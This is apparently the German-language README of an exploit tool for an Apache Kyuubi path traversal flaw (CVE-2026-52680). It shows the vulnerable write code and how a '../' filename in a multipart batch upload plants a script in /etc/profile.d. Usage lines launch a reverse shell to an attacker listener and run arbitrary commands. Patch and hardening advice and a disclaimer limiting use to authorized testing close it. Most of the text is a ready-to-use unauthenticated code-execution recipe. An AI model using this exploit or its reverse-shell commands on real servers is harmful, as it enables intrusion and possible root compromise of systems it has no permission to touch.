
Exploit für Apache Kyuubi Path Traversal (CVE-2026-52680), der nicht authentifiziertes Schreiben beliebiger Dateien und Codeausführung über profile.d-Shellskripte ermöglicht.
Nicht authentifiziertes beliebiges Dateischreiben in der Apache Kyuubi-REST-API über den Multipart-Batch-Submission-Endpunkt.
POST /api/v1/batches (multipart/form-data) schreibt den resourceFile-Teil mit dem vom Client gelieferten Dateinamen und ohne Pfad-Traversal-Prüfung in $KYUUBI_HOME/work/upload/<batchId>/ (kyuubi-common Utils.writeToTempFile):
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
Ein ../-Dateiname verlässt das Upload-Verzeichnis → beliebiges Dateischreiben in beliebige Verzeichnisse (CWE-22) als Benutzer des Kyuubi-Prozesses. Kyuubi wird standardmäßig mit kyuubi.authentication=NONE ausgeliefert, daher ist der Endpunkt nicht authentifiziert.
1.7.0 – 1.11.11.12.0 (fügt die Containment-Prüfung filePath.normalize().startsWith(dir.normalize()) hinzu)10099 (REST-Frontend, nicht authentifiziert bei authentication=NONE)writeToTempFile fügt vor der Erweiterung -<yyyyMMddHHmmss>-<counter> ein, sodass du das Ziel-Verzeichnis, die Erweiterung und den Inhalt kontrollierst, aber nicht den exakten Basisnamen. Das verhindert Überschreibungen mit exaktem Namen (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — ziele stattdessen auf einen Ort, der per Glob ausgeführt wird.
Dieser Exploit legt /etc/profile.d/pwn.sh ab → gespeichert als /etc/profile.d/pwn-<ts>-<n>.sh, was weiterhin auf /etc/profile.d/*.sh passt und von jeder Login-Shell gesourcet wird (kein Ausführungsbit erforderlich). Es läuft als der Benutzer, der eine Login-Shell öffnet — root, wenn Kyuubi als root läuft und ein Root-Login erfolgt (z. B. ssh root@host, su -, ein Cron-bash -lc).
Nur die Python-3-Standardbibliothek — keine Abhängigkeiten.
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
Der Upload liefert HTTP 500 (Error opening batch session), wenn kein Spark-Backend vorhanden ist — das ist erwartet und harmlos: Die Datei wird bevor der Batch gestartet würde geschrieben.
Zwei Multipart-Teile:
batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — ein minimal gültiges BatchRequest, damit die Validierung durchläuft und die Upload-Logik erreicht wird.resourceFile, Dateiname ../../../../../../etc/profile.d/pwn.sh, Inhalt = die Payload. Kyuubi schreibt sie (mit verstümmeltem Basisnamen) nach /etc/profile.d/pwn-<ts>-<n>.sh.Eine Login-Shell sourcet dann /etc/profile.d/*.sh und führt die Payload aus.
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
Ein Kyuubi-REST-Frontend auf Port 10099 mit authentication=NONE ist angreifbar.
Aktualisiere Apache Kyuubi auf ≥ 1.12.0, aktiviere die Authentifizierung (kyuubi.authentication), setze das REST-Gateway niemals nicht vertrauenswürdigen Netzwerken aus und führe Kyuubi nicht als root aus.
Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Verwende es nur gegen Systeme, die dir gehören oder für die du eine ausdrückliche Testerlaubnis hast.